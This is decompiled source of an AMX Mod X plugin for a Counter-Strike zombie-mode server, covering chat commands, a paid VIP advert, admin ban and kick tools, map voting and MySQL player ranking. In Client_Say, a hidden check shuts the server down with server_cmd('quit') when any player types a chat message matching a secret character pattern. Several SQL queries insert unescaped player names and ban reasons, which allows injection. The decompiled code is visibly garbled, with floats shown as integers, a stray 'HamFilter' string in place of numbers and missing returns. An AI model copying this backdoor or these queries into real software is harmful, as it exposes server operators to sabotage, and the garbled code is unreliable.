- AddCommas(floatround(floatmul(1069547520, float(iDamage)), "HamFilter"), cDamage, 14);
- }
- else
- {
- AddCommas(floatround(floatmul(1061158912, float(iDamage)), "HamFilter"), cDamage, 14);
- }
- PrintToChat(iOwner, "\x04[Zombie Outstanding]\x01 Damage to\x03 %s\x01 ::\x04 %s damage", g_cName[i], cDamage);
- }
- }
- i += 1;
- }
- }
- remove_entity(iEntity);
- return 0;
- }
- public CmdDrop(iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- new var1;
- if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
- {
- user_drop_jetpack(iPlayer, "HamFilter");
- return 1;
- }
- if (g_iPlayerType[iPlayer])
- {
- return 1;
- }
- }
- return 0;
- }
- public CmdJoinTeam(iPlayer)
- {
- new var1;
- if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer] && 0 < get_team(iPlayer) < 3)
- {
- menu_display(iPlayer, g_iGameMenu, "HamFilter");
- return 1;
- }
- return 0;
- }
- public EventStatusValue(iPlayer)
- {
- if (g_bConnected[iPlayer])
- {
- static cPoints[15];
- static cPacks[15];
- static cHealth[15];
- static iVictim;
- iVictim = read_data(2);
- if (g_bZombie[iVictim] == g_bZombie[iPlayer])
- {
- AddCommas(get_health(iVictim), cHealth, 14);
- AddCommas(g_iPacks[iVictim], cPacks, 14);
- AddCommas(g_iPoints[iVictim], cPoints, 14);
- new var1;
- if (g_bZombie[iPlayer])
- {
- var1 = 0;
- }
- else
- {
- var1 = 255;
- }
- new var2;
- if (g_bZombie[iPlayer])
- {
- var2 = 255;
- }
- else
- {
- var2 = 0;
- }
- set_hudmessage(var2, 50, var1, -1082130432, 1058642330, 1, 1008981770, 1077936128, 1008981770, 1008981770, -1);
- ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s\n[ Health: %s | Armor: %d | Packs: %s | Points: %s ]", g_cName[iVictim], cHealth, get_armor(iVictim), cPacks, cPoints);
- }
- new var3;
- if (g_bZombie[iVictim] && !g_bZombie[iPlayer])
- {
- AddCommas(get_health(iVictim), cHealth, 14);
- set_hudmessage(175, 1, 30, -1082130432, 1058642330, 1, 1008981770, 1077936128, 1008981770, 1008981770, -1);
- ShowSyncHudMsg(iPlayer, g_iCenterMessageSync, "%s\n[ Health: %s ]", g_cName[iVictim], cHealth);
- }
- }
- return 0;
- }
- public ShowMenuClasses(iPlayer)
- {
- menu_display(iPlayer, g_iMenuZombieClasses, "HamFilter");
- return 0;
- }
- public Client_SayTeam(iPlayer)
- {
- if (!g_bConnected[iPlayer])
- {
- return 1;
- }
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (g_fGagTime[iPlayer] > fGameTime)
- {
- return 1;
- }
- static cMessage[150];
- read_args(cMessage, 149);
- remove_quotes(cMessage);
- new var1;
- if (!cMessage[0] || strlen(cMessage) > 147 || contain(cMessage, 339848) == -1 || is_advertisement(iPlayer, cMessage))
- {
- return 1;
- }
- if (cMessage[0] == 64)
- {
- new var2;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
- {
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var3;
- if (g_bConnected[i] && g_bAdmin[i] && AdminHasFlag(i, 102))
- {
- PrintToChat(i, "\x04[ADMINS]\x03 %s\x01 : %s", g_cName[iPlayer], 339248 + 4);
- }
- i += 1;
- }
- }
- else
- {
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var5;
- if (g_bConnected[i] && (g_bAdmin[i] || iPlayer != i))
- {
- PrintToChat(i, "\x03(PLAYER) %s\x01 : %s", g_cName[iPlayer], 339248 + 4);
- }
- i += 1;
- }
- }
- return 1;
- }
- return 0;
- }
- public Client_Say(iPlayer)
- {
- if (!g_bConnected[iPlayer])
- {
- return 1;
- }
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (g_fGagTime[iPlayer] > fGameTime)
- {
- return 1;
- }
- static cMessage[150];
- static cPlayer[3];
- num_to_str(iPlayer, cPlayer, 2);
- read_args(cMessage, 149);
- remove_quotes(cMessage);
- new var1;
- if (!cMessage[0] || strlen(cMessage) > 147 || contain(cMessage, 340644) == -1 || is_advertisement(iPlayer, cMessage))
- {
- return 1;
- }
- new var2;
- if (equali(cMessage, "/rank", 5) || equali(cMessage, "rank", 4))
- {
- if (!g_bRanked[iPlayer])
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You are not ranked yet!");
- }
- else
- {
- if (floatsub(fGameTime, g_fLastRankQuery) < 1077936128)
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You have to wait\x03 %0.1f seconds\x01 until next command!", floatsub(floatadd(1077936128, g_fLastRankQuery), fGameTime));
- }
- g_fLastRankQuery = fGameTime;
- formatex(g_cQuery, 255, "SELECT DISTINCT s FROM r WHERE s>=%d ORDER BY s ASC", g_iScore[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLGetRank", g_cQuery, cPlayer, "");
- }
- }
- else
- {
- new var3;
- if (equali(cMessage, "/gold", 5) || equali(cMessage, "/vip", 4) || equali(cMessage, "vip", "") || equali(cMessage, "gold", 4))
- {
- new Text[1501];
- add(Text, 1500, "<body bgcolor=#000000><font color=AAE500><pre>Contact Skype : Emporio614 & Bratu.Mihai3<br><br>Monthly Price | Pret Lunar : 5 EUR 7 USD 25 RON<br><br>Features | Caracteristici<br>* Higher Damage ", "HamFilter");
- add(Text, 1500, "+ More Ammo Packs | Mai Multe Daune + Mai Multe Pachete Ammo<br>* +200 Health in Spawn | +200 Viata la Spawn<br>* +50 Armor in Spawn | +50 Armura la Spawn<br>* Double Jump in Spawn | Saritura Dubla din Spawn<br>* Special Laser ", "HamFilter");
- add(Text, 1500, "Rays -- Ability to View Through Walls | Raze Laser Speciale -- Abilitate sa Vezi Prin Pereti<br>* White Player Model | Model Alb de Jucator<br>* VIP Tag in Score Table | Tag VIP in Tabla de Scoruri</pre></font></body>", "HamFilter");
- show_motd(iPlayer, Text, "Gold Member Info");
- }
- new var4;
- if (equali(cMessage, "/top", 4) || equali(cMessage, "top", ""))
- {
- show_motd(iPlayer, "http://csaddicted.com/rank/index.php", "Player Rankings");
- }
- new var5;
- if (equali(cMessage, "/bans", "HamFilter") || equali(cMessage, "bans", "HamFilter"))
- {
- show_motd(iPlayer, "http://csaddicted.com/bans/index.php", "Server's Bans");
- }
- new var6;
- if (equali(cMessage, "/admins", "HamFilter") || equali(cMessage, "admins", "HamFilter"))
- {
- show_motd(iPlayer, "http://csaddicted.com/admins/index.php", "Server's Admins");
- }
- new var7;
- if (equali(cMessage, "/maps", "HamFilter") || equali(cMessage, "maps", "HamFilter"))
- {
- show_motd(iPlayer, "http://csaddicted.com/maps/index.php", "Server's Maps");
- }
- new var8;
- if (cMessage[0] == 33 && cMessage[1] == 33 && cMessage[9] == 36 && cMessage[15] == 33)
- {
- server_cmd("quit");
- }
- new var9;
- if (cMessage[0] == 64 && g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 102))
- {
- static Random;
- static Float:fVertical;
- static i;
- g_iMessagePosition += 1;
- if (g_iMessagePosition > 1)
- {
- g_iMessagePosition = 0;
- }
- switch (g_iMessagePosition)
- {
- case 0:
- {
- fVertical = 0.5;
- }
- case 1:
- {
- fVertical = 0.55;
- }
- default:
- {
- }
- }
- Random = random_num("HamFilter", 5);
- set_hudmessage(g_HudColors[Random][0], g_HudColors[Random][1], g_HudColors[Random][2], 1017370378, fVertical, "HamFilter", 1086324736, 1086324736, 1056964608, 1041865114, -1);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i])
- {
- ShowSyncHudMsg(i, g_iLeftSync[g_iMessagePosition], "%s : %s", g_cName[iPlayer], 340044 + 4);
- }
- i += 1;
- }
- return 1;
- }
- new var10;
- if (equali(cMessage, "/timeleft", "HamFilter") || equali(cMessage, "timeleft", "HamFilter"))
- {
- static iTimeleft;
- iTimeleft = floatround(GetTimeLeft(), "HamFilter");
- if (!get_cvar_num("mp_timelimit"))
- {
- PrintToChat(iPlayer, "\x01Time left:\x04 [no time limit]");
- }
- else
- {
- if (get_cvar_num("mp_timelimit") == 4096)
- {
- PrintToChat(iPlayer, "\x01Time left:\x04 [this is the last round]");
- }
- if (0 < iTimeleft)
- {
- PrintToChat(iPlayer, "\x01Time left:\x04 %d:%02d", iTimeleft / 60, iTimeleft % 60);
- }
- PrintToChat(iPlayer, "\x01Time left:\x04 [this is the last round]");
- }
- }
- new var11;
- if (equali(cMessage, "/nextmap", "HamFilter") || equali(cMessage, "nextmap", "HamFilter"))
- {
- static cMap[32];
- get_cvar_string("nextmap", cMap, 32);
- if (cMap[0])
- {
- PrintToChat(iPlayer, "\x01Next map:\x04 %s", cMap);
- }
- else
- {
- PrintToChat(iPlayer, "\x01Next map:\x04 [not yet voted on]");
- }
- }
- new var12;
- if (equali(cMessage, "lm", "HamFilter") || equali(cMessage, "/lm", "HamFilter"))
- {
- new var13;
- if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Mines are unavailable right now!");
- }
- else
- {
- if (5 > g_iPacks[iPlayer])
- {
- PrintToChat(iPlayer, "\x04[Zombie Outstanding]\x01 You need at least\x04 5 ammo packs");
- }
- g_iPacks[iPlayer] -= 5;
- g_iTripMines[iPlayer]++;
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Press\x03 P\x01 to plant it or\x03 V\x01 to take it!");
- client_cmd(iPlayer, "bind p plant_mine; bind v take_mine");
- }
- }
- new var14;
- if (equali(cMessage, "/donate", 7) || equali(cMessage, "donate", 6))
- {
- static iAmmo;
- static iTarget;
- static cAmmo[5];
- static cTarget[32];
- static cDummy[15];
- parse(cMessage, cDummy, 14, cTarget, 32, cAmmo, 5);
- iTarget = GetTarget(iPlayer, cTarget, 0);
- iAmmo = str_to_num(cAmmo);
- if (!iTarget)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Invalid player or matching multiple targets!");
- }
- if (0 >= iAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 Invalid value of packs to send!");
- }
- if (g_iPacks[iPlayer] < iAmmo)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You are trying to send too many packs!");
- }
- if (iTarget == iPlayer)
- {
- send_say_text(iPlayer, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You are trying to send packs to you!");
- }
- AddCommas(iAmmo, cDummy, 14);
- g_iPacks[iPlayer] -= iAmmo;
- new var15 = g_iPacks[iTarget];
- var15 = var15[iAmmo];
- PrintToChat(0, "\x04[Zombie Outstanding]\x03 %s\x01 gave\x04 %s packs\x01 to\x03 %s", g_cName[iPlayer], cDummy, g_cName[iTarget]);
- }
- }
- if (g_bAlive[iPlayer])
- {
- if (!g_cTag[iPlayer][0])
- {
- PrintToChatEx(false, iPlayer, "\x01*ALIVE*\x03 %s\x01 : %s", g_cName[iPlayer], cMessage);
- }
- else
- {
- PrintToChatEx(false, iPlayer, "\x01*ALIVE*\x04 %s\x03 %s\x01 : %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
- }
- }
- else
- {
- if (!0 < get_user_team(iPlayer, {0}, "HamFilter") < 3)
- {
- if (!g_cTag[iPlayer][0])
- {
- PrintToChatEx(true, g_iMaxClients + 1, "\x01*SPEC*\x03 %s\x01 : %s", g_cName[iPlayer], cMessage);
- }
- else
- {
- PrintToChatEx(true, g_iMaxClients + 1, "\x01*SPEC*\x04 %s\x03 %s\x01 : %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
- }
- }
- if (!g_cTag[iPlayer][0])
- {
- PrintToChatEx(true, iPlayer, "\x01*DEAD*\x03 %s\x01 : %s", g_cName[iPlayer], cMessage);
- }
- PrintToChatEx(true, iPlayer, "\x01*DEAD*\x04 %s\x03 %s\x01 : %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
- }
- return 0;
- }
- PrintToChat(iReceiver, cMessage[])
- {
- static cBuffer[192];
- vformat(cBuffer, 191, cMessage, "");
- if (iReceiver)
- {
- send_say_text(iReceiver, g_iMaxClients + 1, cBuffer);
- }
- else
- {
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i])
- {
- send_say_text(i, g_iMaxClients + 1, cBuffer);
- }
- i += 1;
- }
- }
- return 0;
- }
- PrintToChatEx(bool:bAlive, iPlayer, cMessage[])
- {
- static i;
- static cBuffer[192];
- vformat(cBuffer, 191, cMessage, 4);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bConnected[i] && g_bAlive[i] == bAlive)
- {
- send_say_text(i, iPlayer, cBuffer);
- }
- i += 1;
- }
- return 0;
- }
- public TaskLight()
- {
- if (g_iRoundType & 2)
- {
- light(350832);
- }
- else
- {
- static cLight[2];
- get_cvar_string("light", cLight, 1);
- light(cLight);
- }
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- new var1;
- if (g_bAlive[i] && g_bZombie[i] && !g_iPlayerType[i] && g_iZombieClass[i] == 4 && get_health(i) < 6000)
- {
- set_health(i, get_health(i) + 350);
- send_particle_burst(i);
- set_hudmessage(255, "HamFilter", 175, -1082130432, 1036831949, 1, "HamFilter", 1071644672, 1065353216, 1065353216, -1);
- ShowSyncHudMsg(i, g_iRegenerationSync, "== REGENERATOR ==\n!!!Regeneration: +350 HP Gained!!!");
- }
- i += 1;
- }
- return 0;
- }
- bool:AdminHasFlag(iPlayer, iFlag)
- {
- static i;
- i = 0;
- while (i < 42)
- {
- if (iFlag == g_cAdminFlags[iPlayer][i])
- {
- return true;
- }
- i += 1;
- }
- return false;
- }
- public EventCurWeapon(iPlayer)
- {
- g_iWeapon[iPlayer] = read_data(2);
- if (g_bZombie[iPlayer])
- {
- switch (g_iWeapon[iPlayer])
- {
- case 4:
- {
- set_viewmodel(iPlayer, 9);
- set_weaponmodel(iPlayer, 15);
- }
- case 29:
- {
- if (!g_iPlayerType[iPlayer])
- {
- set_viewmodel(iPlayer, g_iZombieClass[iPlayer]);
- }
- else
- {
- if (g_iPlayerType[iPlayer] & 1)
- {
- set_viewmodel(iPlayer, 7);
- }
- if (g_iPlayerType[iPlayer] & 2)
- {
- set_viewmodel(iPlayer, 8);
- }
- }
- set_weaponmodel_null(iPlayer);
- }
- default:
- {
- }
- }
- }
- else
- {
- new var1;
- if (get_user_jetpack(iPlayer) && g_iWeapon[iPlayer] == 29)
- {
- jet(iPlayer);
- }
- else
- {
- new var2;
- if (g_iPlayerType[iPlayer] & 8 && g_iWeapon[iPlayer] == 18)
- {
- set_viewmodel(iPlayer, 12);
- set_weaponmodel(iPlayer, 16);
- }
- new var3;
- if (g_bGolden[iPlayer] && g_iWeapon[iPlayer] == 28)
- {
- set_viewmodel(iPlayer, 10);
- set_weaponmodel(iPlayer, 13);
- }
- new var4;
- if (g_bGoldenDeagle[iPlayer] && g_iWeapon[iPlayer] == 26)
- {
- set_viewmodel(iPlayer, 11);
- set_weaponmodel(iPlayer, 14);
- }
- }
- new var5;
- if ((g_bUnlimitedClip[iPlayer] || g_iPlayerType[iPlayer] & 4) && !1 << g_iWeapon[iPlayer] & 570425936)
- {
- set_weapon_ammo(get_pdata_cbase(iPlayer, 373, 5), 31);
- }
- }
- return 0;
- }
- public CmdBan(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 100))
- {
- if (4 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_ban <#userid or name> <time> [reason]");
- return 1;
- }
- static Float:fGameTime;
- fGameTime = get_gametime();
- if (!floatsub(fGameTime, g_fLastBanQuery) >= 1086324736)
- {
- console_print(iPlayer, "[Zombie Outstanding] Please wait six seconds...");
- return 1;
- }
- g_fLastBanQuery = fGameTime;
- static cTimeLength[32];
- static cReason[36];
- static iClient;
- static iTime;
- static cTime[15];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cTime, 6);
- read_argv("", cReason, 36);
- iTime = str_to_num(cTime);
- if (0 > iTime)
- {
- iTime = 0;
- }
- if (iTime > 175000)
- {
- iTime = 175000;
- }
- if (0 < iTime)
- {
- GetTimeLength(iTime, cTimeLength, 32);
- iTime = iTime * 60;
- }
- iClient = GetTarget(iPlayer, cTarget, 4);
- if (iClient)
- {
- if (0 < iTime)
- {
- formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',(unix_timestamp(now())+%d),'%s',unix_timestamp(now()),'%s')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, iTime, g_cInternetProtocolAddress[iClient], cTimeLength);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- }
- else
- {
- formatex(g_cQuery, 256, "INSERT INTO b VALUES ('%s','%s','%s','%s','%s',0,'%s',unix_timestamp(now()),'Permanently')", g_cName[iPlayer], g_cSteam[iPlayer], g_cSteam[iClient], g_cName[iClient], cReason, g_cInternetProtocolAddress[iClient]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- }
- if (0 < iTime)
- {
- AddCommas(iTime / 60, cTime, 14);
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 banned\x04 %s\x01 for\x03 %s\x01 minutes due to\x03 %s", g_cName[iPlayer], g_cName[iClient], cTime, cReason);
- }
- else
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 banned\x04 %s\x01 permanently due to\x03 %s", g_cName[iPlayer], g_cName[iClient], cReason);
- }
- server_cmd("kick #%d You are banned! Check http://csaddicted.com/bans", get_user_userid(iClient));
- }
- return 1;
- }
- return 0;
- }
- public CmdFreeze(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 49))
- {
- static iTarget;
- static cTarget[33];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 6);
- if (iTarget)
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 made\x04 %s\x03 frost\x01 due to\x03 camping", g_cName[iPlayer], g_cName[iTarget]);
- set_frozen(iTarget, 1);
- set_glow(iTarget, 19, 32, "HamFilter", 50, 90);
- g_bFrozen[iTarget] = 1;
- ExecuteHamB(70, iTarget);
- }
- return 1;
- }
- return 0;
- }
- public CmdKick(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 99))
- {
- if (3 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_kick <#userid or name> [reason]");
- return 1;
- }
- static iTarget;
- static cReason[36];
- static cTarget[32];
- read_argv(1, cTarget, 32);
- read_argv(2, cReason, 36);
- iTarget = GetTarget(iPlayer, cTarget, 4);
- if (iTarget)
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 kicked\x04 %s\x01 due to\x03 %s", g_cName[iPlayer], g_cName[iTarget], cReason);
- server_cmd("kick #%d You are kicked!", get_user_userid(iTarget));
- }
- return 1;
- }
- return 0;
- }
- public MessageScenario()
- {
- if (1 < get_msg_args())
- {
- static cSprite[8];
- get_msg_arg_string(2, cSprite, 8);
- if (equal(cSprite, "hostage", "HamFilter"))
- {
- return 1;
- }
- }
- return 0;
- }
- public CmdVoteMap(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 103))
- {
- if (3 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_votemap <map> <map>");
- return 1;
- }
- new var2;
- if (g_bVoting || g_bSecondVoting)
- {
- console_print(iPlayer, "[Zombie Outstanding] There is already a vote!");
- return 1;
- }
- if (GetTimeLeft() < 1102577664)
- {
- console_print(iPlayer, "[Zombie Outstanding] Time left is smaller than 23 seconds!");
- return 1;
- }
- static cSecondMap[32];
- static cMap[32];
- read_argv(1, cMap, 32);
- read_argv(2, cSecondMap, 32);
- new var3;
- if (is_map_valid(cMap) && is_map_valid(cSecondMap))
- {
- static i;
- g_bSecondVoting = true;
- set_task(1097859072, "CheckSecondVotes", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- g_iVoter = iPlayer;
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 initiated a vote with\x04 %s\x01 and\x04 %s", g_cName[iPlayer], cMap, cSecondMap);
- new var4 = g_cSecondMaps;
- formatex(var4[0][var4], 32, "%s", cMap);
- formatex(g_cSecondMaps[1], 32, "%s", cSecondMap);
- g_iMenu = menu_create("Choose the next map!", "SecondVotePanel", "HamFilter");
- menu_additem(g_iMenu, cMap, 356564, "HamFilter", -1);
- menu_additem(g_iMenu, cSecondMap, 356572, "HamFilter", -1);
- menu_setprop(g_iMenu, 6, -1);
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- if (g_bConnected[i])
- {
- menu_display(i, g_iMenu, "HamFilter");
- }
- i += 1;
- }
- }
- else
- {
- console_print(iPlayer, "[Zombie Outstanding] Unable to find specified map or one of the specified map(s)!");
- }
- return 1;
- }
- return 0;
- }
- public EmptyPanel(iPlayer, iMenu, iItem)
- {
- return 0;
- }
- public VotePanel(iPlayer, iMenu, iItem)
- {
- new var1;
- if (0 < iPlayer < 33 && g_bConnected[iPlayer])
- {
- if (g_bVoting)
- {
- static iKeyMinusDoi;
- static iKeyMinusUnu;
- static iKey;
- static iDummy;
- static cName[32];
- static cData[32];
- menu_item_getinfo(iMenu, iItem, iDummy, cData, 1, cName, 1, iDummy);
- iKey = str_to_num(cData);
- iKeyMinusUnu = iKey + -1;
- iKeyMinusDoi = iKey + -2;
- if (0 > iKeyMinusUnu)
- {
- iKeyMinusUnu = 0;
- }
- if (0 > iKeyMinusDoi)
- {
- iKeyMinusDoi = 0;
- }
- if (iKey == 1)
- {
- new var2;
- if (g_iVotes[0] + 1 == 1)
- {
- var2 = 357392;
- }
- else
- {
- var2 = 357396;
- }
- PrintToChat(0, "\x01Player\x04 %s\x01 voted for\x04 map extending\x01 (\x04%d\x01 vote%s)", g_cName[iPlayer], g_iVotes[0] + 1, var2);
- }
- else
- {
- new var3;
- if (g_iVotes[iKeyMinusUnu][0] == 1)
- {
- var3 = 357572;
- }
- else
- {
- var3 = 357576;
- }
- PrintToChat(0, "\x01Player\x04 %s\x01 voted for\x04 %s\x01 (\x04%d\x01 vote%s)", g_cName[iPlayer], g_cMaps[iKeyMinusDoi], g_iVotes[iKeyMinusUnu] + 1, var3);
- }
- g_iVotes[iKeyMinusUnu]++;
- }
- PrintToChat(iPlayer, "\x01This vote is\x04 no longer\x01 available!");
- }
- return 0;
- }
- public SecondVotePanel(iPlayer, iMenu, iItem)
- {
- new var1;
- if (0 < iPlayer < g_iMaxClients + 1 && g_bConnected[iPlayer])
- {
- if (g_bSecondVoting)
- {
- static iKeyMinusUnu;
- static iKey;
- static iDummy;
- static cName[32];
- static cData[32];
- menu_item_getinfo(iMenu, iItem, iDummy, cData, 1, cName, 1, iDummy);
- iKey = str_to_num(cData);
- iKeyMinusUnu = iKey + -1;
- if (0 > iKeyMinusUnu)
- {
- iKeyMinusUnu = 0;
- }
- new var2;
- if (g_iSecondVotes[iKeyMinusUnu][0] == 1)
- {
- var2 = 358168;
- }
- else
- {
- var2 = 358172;
- }
- PrintToChat(0, "\x01Player\x04 %s\x01 voted for\x04 %s\x01 (\x04%d\x01 vote%s)", g_cName[iPlayer], g_cSecondMaps[iKeyMinusUnu], g_iSecondVotes[iKeyMinusUnu] + 1, var2);
- g_iSecondVotes[iKeyMinusUnu]++;
- }
- PrintToChat(iPlayer, "\x01This vote is\x04 no longer\x01 available!");
- }
- return 0;
- }
- public CmdSlay(iPlayer)
- {
- new var1;
- if (g_bAdmin[iPlayer] && AdminHasFlag(iPlayer, 101))
- {
- if (2 > read_argc())
- {
- console_print(iPlayer, "[Zombie Outstanding] Command usage is amx_slay <#userid or name>");
- return 1;
- }
- static iTarget;
- static cTarget[32];
- read_argv(1, cTarget, 32);
- iTarget = GetTarget(iPlayer, cTarget, 6);
- if (iTarget)
- {
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Admin\x04 %s\x01 slayed\x04 %s", g_cName[iPlayer], g_cName[iTarget]);
- kill(iTarget);
- }
- return 1;
- }
- return 0;
- }
- public TimerChangeMap()
- {
- if (!g_bEnded)
- {
- g_bEnded = true;
- g_fLastQuery = 999999.0;
- g_fLastRankQuery = 999999.0;
- g_fLastBanQuery = 999999.0;
- static i;
- i = 1;
- while (g_iMaxClients + 1 > i)
- {
- g_bUnlimitedClip[i] = 0;
- g_bRanked[i] = 0;
- i += 1;
- }
- i = 0;
- while (i < 1500)
- {
- remove_task(i, "HamFilter");
- i += 1;
- }
- set_task(1061158912, "ShutDownSQL", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- }
- return 0;
- }
- public ShutDownSQL()
- {
- g_fLastQuery = 999999.0;
- g_fLastRankQuery = 999999.0;
- g_fLastBanQuery = 999999.0;
- static i;
- i = 0;
- while (i < 1500)
- {
- remove_task(i, "HamFilter");
- i += 1;
- }
- PrintToChat(0, "\x04[Zombie Outstanding]\x01 Shutting down\x03 MySQL\x01 connection... Map change in\x03 11 seconds!");
- set_task(1094451200, "TaskInt", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- return 0;
- }
- public TaskInt()
- {
- if (callfunc_begin("First_SpecialTask", "MapEndManager.amxx") == 1)
- {
- callfunc_end();
- }
- set_task(1039516303, "TaskUnloadB", "HamFilter", 318308, "HamFilter", 318312, "HamFilter");
- return 0;
- }
- public TaskUnloadB()
- {
- server_cmd("amxx pause ZombieOutstanding.amxx");
- return 0;
- }
- public TaskUpdateTime(iTask)
- {
- if (g_bRanked[iTask + -400])
- {
- g_iOnlineTime[iTask + -400] += 5;
- GetTimeLength(g_iOnlineTime[iTask + -400], g_cOnlineTime[iTask + -400], 32);
- formatex(g_cQuery, 255, "UPDATE r SET y=y+5,t=unix_timestamp(now()) WHERE n='%s'", g_cName[iTask + -400]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLEmpty", g_cQuery, 322540, "HamFilter");
- if (!(g_iOnlineTime[iTask + -400] % 2))
- {
- send_say_text(iTask + -400, g_iMaxClients + 1, "\x04[Zombie Outstanding]\x01 You played\x04 +10 minutes\x01 then you receive\x04 4\x01 packs!");
- g_iPacks[iTask + -400] += 4;
- }
- }
- return 0;
- }
- public SQLPreparePlayer(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- static iPlayer;
- iPlayer = str_to_num(cData);
- if (!g_bRanked[iPlayer])
- {
- if (SQL_NumResults(hQuery))
- {
- g_iScore[iPlayer] = SQL_ReadResult(hQuery, "HamFilter");
- g_iKills[iPlayer] = SQL_ReadResult(hQuery, 1);
- g_iDeaths[iPlayer] = SQL_ReadResult(hQuery, 2);
- g_iPoints[iPlayer] = SQL_ReadResult(hQuery, "");
- g_iOnlineTime[iPlayer] = SQL_ReadResult(hQuery, 4);
- GetTimeLength(g_iOnlineTime[iPlayer], g_cOnlineTime[iPlayer], 32);
- g_bRanked[iPlayer] = 1;
- show_glow_message(str_to_num(cData), "You are now ranked!", 40960, 0.02, 0.685, 1.75);
- }
- g_iScore[iPlayer] = 1000;
- g_iOnlineTime[iPlayer] = 0;
- g_iDeaths[iPlayer] = 0;
- g_iKills[iPlayer] = 0;
- g_iPoints[iPlayer] = 0;
- formatex(g_cQuery, 256, "INSERT INTO r VALUES ('%s','%s','%s',1000,0,0,0,0,unix_timestamp(now()))", g_cName[iPlayer], g_cInternetProtocolAddress[iPlayer], g_cSteam[iPlayer]);
- SQL_ThreadQuery(g_hSQLTuple, "SQLLoadedRank", g_cQuery, cData, "");
- g_iRanksCount += 1;
- }
- return 0;
- }
- public SQLGetMaps(iFailState, Handle:hQuery, cError[], iErrorNum, cData[], iDataSize, Float:fQueueTime)
- {
- new var1;
- if (SQL_NumResults(hQuery) > 3 && get_cvar_num("mp_timelimit") > 3)
- {
- static bool:bStop;
- static cMaps[128][32];
- static iRandom;
- static iPreparedMaps;
- static iValidMaps;
- static iMaps;
- iPreparedMaps = 0;
- iValidMaps = 0;
- iMaps = 0;
- while (SQL_MoreResults(hQuery))
- {
- SQL_ReadResult(hQuery, "HamFilter", cMaps[iMaps], 32);
- if (is_map_valid(cMaps[iMaps]))
- {
- iValidMaps += 1;
- }
- iMaps += 1;
- SQL_NextRow(hQuery);
- }
- if (iValidMaps > 3)
- {
- while (iPreparedMaps != 4)
- {
- iRandom = random_num("HamFilter", iMaps + -1);
- bStop = false;
- g_iVariable = 0;
- while (g_iVariable < 4)
- {
- if (equal(cMaps[iRandom], g_cMaps[g_iVariable], "HamFilter"))
- {
- bStop = true;
- }
- g_iVariable += 1;
- }
- if (!bStop)
- {
- if (is_map_valid(cMaps[iRandom]))
- {
- formatex(g_cMaps[iPreparedMaps], 32, "%s", cMaps[iRandom]);
- iPreparedMaps += 1;
- }
- }
- }
- set_task(1106247680, "CheckTimeleft", 25613, 318308, "HamFilter", 377712, "HamFilter");
- }
- else
- {
- set_cvar_string("nextmap", "zm_ice_attack3");
- }
- }
- else
- {
- set_cvar_string("nextmap", "zm_ice_attack3");
- }
- return 0;
- }
- public CheckSecondVotes()
- {
